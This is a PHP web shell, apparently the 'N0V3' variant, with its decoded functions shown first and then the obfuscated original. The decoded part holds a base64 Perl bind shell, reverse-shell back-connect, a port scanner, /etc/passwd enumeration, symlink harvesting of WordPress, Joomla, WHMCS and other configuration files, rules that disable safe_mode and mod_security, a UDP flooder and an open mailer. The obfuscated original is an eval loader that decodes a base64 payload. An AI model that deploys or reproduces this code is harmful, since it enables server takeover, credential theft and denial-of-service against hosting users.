$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo '<h1>Network tools</h1><div class=content>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
    <br /><span>Bind port to /bin/sh</span><br/>
    Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Str4what\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
    </form>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
    <br /><br /><span>Back-connect to</span><br/>
    Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
    </form><br>';
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w=@fopen($f,"w") or @function_exists('file_put_contents');
if($w)    {
@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpc') {
cf("/tmp/bp.c",$bind_port_c);
$out = ex("gcc -o /tmp/bp /tmp/bp.c");
@unlink("/tmp/bp.c");
$out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
}
if($_POST['p1'] == 'bcc') {
cf("/tmp/bc.c",$back_connect_c);
$out = ex("gcc -o /tmp/bc /tmp/bc.c");
@unlink("/tmp/bc.c");
$out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
}
}
echo '</div>';
printFooter();
}
function actionPortScanner() {
printHeader();
echo '<h1>Port Scanner</h1>';
echo '<div class="content">';
echo '<form action="" method="post">';
if(isset($_POST['host']) &&is_numeric($_POST['end']) &&is_numeric($_POST['start'])){
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
for($i = $start;$i<=$end;$i++){
$fp = @fsockopen($host,$i,$errno,$errstr,3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else {
echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
              <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
              <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
              Host: <input type="text" name="host" value="localhost"/><br /><br />
              Port start: <input type="text" name="start" value="0"/><br /><br />
              Port end:<input type="text" name="end" value="5000"/><br /><br />
              <input type="submit" value="Scan Ports" />
              </form></center><br /><br />';
}
echo '</div>';
printFooter();
}
function actionReadable() {
printHeader();
echo '<h1>Readable Dirs</h1>';
echo '<div class="content">';
$sm = ini_get('safe_mode');
if($sm) {
echo '<br /><b>Error: safe_mode = on</b><br /><br />';
}else {
@$passwd = fopen('/etc/passwd','r');
if (!$passwd) {
echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
}else {
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd)) {
$str = fgets($passwd);
if ($i >35) {
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = '/home/'.$username.'/public_html/';
if (($username != '')) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($pub,$dirz);
}
}
}
$i++;
}
echo '<br><br>';
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br />";
echo "[+] Founded ".sizeof($pub)." readable public_html directories
"."<br /><br /><br />";
foreach ($users as $user) {
$path = "/home/$user/public_html/";
echo $path."<br>";
}
echo "<br /><br /><br />[+] Complete...
"."<br />";
}
}
echo '</div>';
printFooter();
}
function actionSymlink() {
printHeader();
echo '<h1>Symlink</h1>';
$furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$expld = explode('/',$furl );
$burl =str_replace(end($expld),'',$furl);
echo '<div class="content"><center>
                <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] - 
                    [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] - 
                    [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
if(isset($_POST['p1']) &&$_POST['p1']=='website')
{
echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){
echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}else {
echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
$unk = array();
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all('#zone "(.*)"#',$d0main,$domains);
flush();
if(strlen(trim($domains[1][0])) >2){
$unk[] = $domains[1][0];
flush();
}
}
}
$count=1;
$unk = array_unique($unk);
$l=0;
foreach($unk as $d){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
flush();
$count++;
$l=$l?0:1;
}
echo "</table>";
}
echo "</center>";
}
if(isset($_POST['p1']) &&$_POST['p1']=='whole')
{
echo "<center>";
@mkdir('sym',0777);
$hdt  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$hfp =@fopen ('sym/.htaccess','w');
fwrite($hfp ,$hdt);
if(function_exists('symlink')) {
@symlink('/','sym/root');
}
$d0mains = @file('/etc/named.conf');
if(!$d0mains) {
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}else {
echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
$count=1;
$mck = array();
foreach($d0mains as $d0main){
if(@eregi('zone',$d0main)){
preg_match_all('#zone "(.*)"#',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0])) >2){
$mck[] = $domain[1][0];
}
}
}
$mck = array_unique($mck);
$l=0;
foreach($mck as $d) {
$user = posix_getpwuid(@fileowner('/etc/valiases/'.$d));
$ddt = $user['name'];
$ddt = $d;
if(@eregi("\.ir",$d) or @eregi("\.il",$d)) {
$ddt = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$d.'</div>';
}
echo "<tr".($l?' class=l1':'')."><td>".$count++."</td><td><a target='_blank' href=http://".$d.'/>'.$ddt.' </a></td><td>'.$user['name']."</td><td><a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a></td></tr>";
flush();
$l=$l?0:1;
}
echo '</table>';
}
echo "</center>";
}
if(isset($_POST['p1']) &&$_POST['p1']=='config')
{
echo "<center>";
@mkdir('sym',0777);
$hdt = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$hfp = @fopen ('sym/.htaccess','w');
@fwrite($hfp ,$hdt);
if(function_exists('symlink')) {
@symlink('/','sym/root');
}
$d0mains = @file('/etc/named.conf');
if(!$d0mains) {
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}else {
echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domains </th><th> Script </th></tr>";
$count = 1;
$l=0;
foreach($d0mains as $d0main){
if(@eregi('zone',$d0main)){
preg_match_all('#zone "(.*)"#',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0]))>2){
$user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
$c1 = $burl.'/sym/root/home/'.$user['name'].'/public_html/wp-config.php';
$ch01 = get_headers($c1);
$cf01 = $ch01[0];
$c2 = $burl.'/sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
$ch02 = get_headers($c2);
$cf02 = $ch02[0];
$c3 = $burl.'/sym/root/home/'.$user['name'].'/public_html/configuration.php';
$ch03 = get_headers($c3);
$cf03 = $ch03[0];
$c4 = $burl.'/sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
$ch04 = get_headers($c4);
$cf04 = $ch04[0];
$c5 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/config.php';
$ch05 = get_headers($c5);
$cf05 = $ch05[0];
$c6 = $burl.'/sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
$ch06 = get_headers($c6);
$cf06 = $ch06[0];
$c7 = $burl.'/sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
$ch07 = get_headers($c7);
$cf07 = $ch07[0];
$c8 = $burl.'/sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
$ch08 = get_headers($c8);
$cf08 = $ch08[0];
$c9 = $burl.'/sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
$ch09 = get_headers($c9);
$cf09 = $ch09[0];
$c10 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
$ch10 = get_headers($c10);
$cf10 = $ch10[0];
$c11 = $burl.'/sym/root/home/'.$user['name'].'/public_html/submitticket.php';
$ch11 = get_headers($c11);
$cf11 = $ch11[0];
$c12 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
$ch12 = get_headers($c12);
$cf12 = $ch12[0];
$c13 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
$ch13 = get_headers($c13);
$cf13 = $ch13[0];
$c14 = $burl.'/sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
$ch14 = get_headers($c14);
$cf14 = $ch14[0];
$c15 = $burl.'/sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
$ch15 = get_headers($c15);
$cf15 = $ch15[0];
$out = '&nbsp;';
if(strpos($cf01,'200') == true)                                    {$out = "<a href='".$c1."' target='_blank'>Wordpress</a>";}
elseif(strpos($cf02,'200') == true)                                {$out = "<a href='".$c2."' target='_blank'>Wordpress</a>";}
elseif(strpos($cf03,'200') == true &&strpos($cf11,'200') == true) {$out = " <a href='".$c11."' target='_blank'>WHMCS</a>";}
elseif(strpos($cf09,'200') == true)                                {$out = " <a href='".$c9."' target='_blank'>WHMCS</a>";}
elseif(strpos($cf10,'200') == true)                                {$out = " <a href='".$c10."' target='_blank'>WHMCS</a>";}
elseif(strpos($cf03,'200') == true)                                {$out = " <a href='".$c3."' target='_blank'>Joomla</a>";}
elseif(strpos($cf04,'200') == true)                                {$out = " <a href='".$c4."' target='_blank'>Joomla</a>";}
elseif(strpos($cf05,'200') == true)                                {$out = " <a href='".$c5."' target='_blank'>vBulletin</a>";}
elseif(strpos($cf06,'200') == true)                                {$out = " <a href='".$c6."' target='_blank'>vBulletin</a>";}
elseif(strpos($cf07,'200') == true)                                {$out = " <a href='".$c7."' target='_blank'>vBulletin</a>";}
elseif(strpos($cf08,'200') == true)                                {$out = " <a href='".$c7."' target='_blank'>Client Area</a>";}
elseif(strpos($cf12,'200') == true)                                {$out = " <a href='".$c7."' target='_blank'>Client Area</a>";}
elseif(strpos($cf13,'200') == true)                                {$out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>";}
elseif(strpos($cf14,'200') == true)                                {$out = " <a href='".$c7."' target='_blank'>Magento</a>";}
elseif(strpos($cf15,'200') == true)                                {$out = " <a href='".$c7."' target='_blank'>Drupal</a>";}
else {
continue;
}
echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
flush();
$l=$l?0:1;
}
}
}
echo "</table>";
}
echo "</center>";
}
echo "</div>";
printFooter();
}
function actionBypass() {
printHeader();
echo '<h1>Safe Mode</h1>';
echo '<div class="content">';
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
if(!empty($_POST['p2']) &&isset($_POST['p2']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'<IfModule mod_security.c>
            Sec------Engine Off
            Sec------ScanPOST Off
            </IfModule>');
fclose($fil);
}
if(!empty($_POST['p1'])&&isset($_POST['p1']))
{
$fil=fopen($GLOBALS['cwd']."php.ini","w");
fwrite($fil,'safe_mode=OFF
            disable_functions=NONE');
fclose($fil);
}
if(!empty($_POST['p3']) &&isset($_POST['p3']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
        AddType application/x-httpd-cgi .sh
        AddHandler cgi-script .pl
        AddHandler cgi-script .pl');
fclose($fil);
}
echo "<br><br /><br /></div>";
echo '</div>';
printFooter();
}
function actionDdos(){
printHeader();
echo '<h1>[D]DoS</h1>';
echo '<div class=header>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '<center><span>_\|/_ UDP Flooder @ N0V3 _\|/_</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text"  size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><p/><input  type="submit" value="Start DoS" /></form></center>';
echo "<pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' >";
if(!empty($_POST['p1']) &&!empty($_POST['p2']) &&!empty($_POST['p3']))
{
$packets=0;
ignore_user_abort(true);
$exec_time=$_POST['p2'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST['p1'];
$portudp=$_POST['p3'];
for($i=0;$i<65000;$i++)
{
$out .= 'X';
}
while(1){
$packets++;
if(time() >$max_time){
break;
}
$fp = fsockopen('udp://'.$host,$portudp,$errno,$errstr,5);
if($fp){
fwrite($fp,$out);
fclose($fp);
}
}
echo "<center>Ataque Feito: $packets (".round(($packets*65)/1024,2) ." MB) pacotes de media ".round($packets/$exec_time,2) ." pacotes por segundos</center>";
echo "</pre>";
}
echo '</div>';
printFooter();
}
function actionMail(){
printHeader();
echo '<h1>Mailer</h1>
    <form action="'.$surl .'" method=POST>
    <input type="hidden" name="a" value="phptools">
    <input type=text name=to value=to><br>
    <input type=text name=from value=from><br>
    <input type=text name=subject value=subject><br>
    <input type=text name=body value=body><br>
    <input type=submit name=submit value=Submit></form>';
if (isset($_POST['to']) &&isset($_POST['from']) &&isset($_POST['subject']) &&isset($_POST['body'])) {
$headers = 'From: '.$_POST['from'];
mail($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
echo 'Email encaminhado.';
}
printFooter();
}
function actionInjector(){
printHeader();
echo '<h1>Mass Code Injector</h1>';
echo '<div class="content">';
echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
echo "<br><br /><br /></div>";
echo '</div>';
printFooter();
}
if( empty($_POST['a']) )
if(isset($default_action) &&function_exists('action'.$default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) &&function_exists('action'.$_POST['a']) )
call_user_func('action'.$_POST['a']);

Did this file decode correctly?

Original Code

<?php /* Arquivo Protect Por N0V3 , 2015 . */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x18e20;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDUyZik7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>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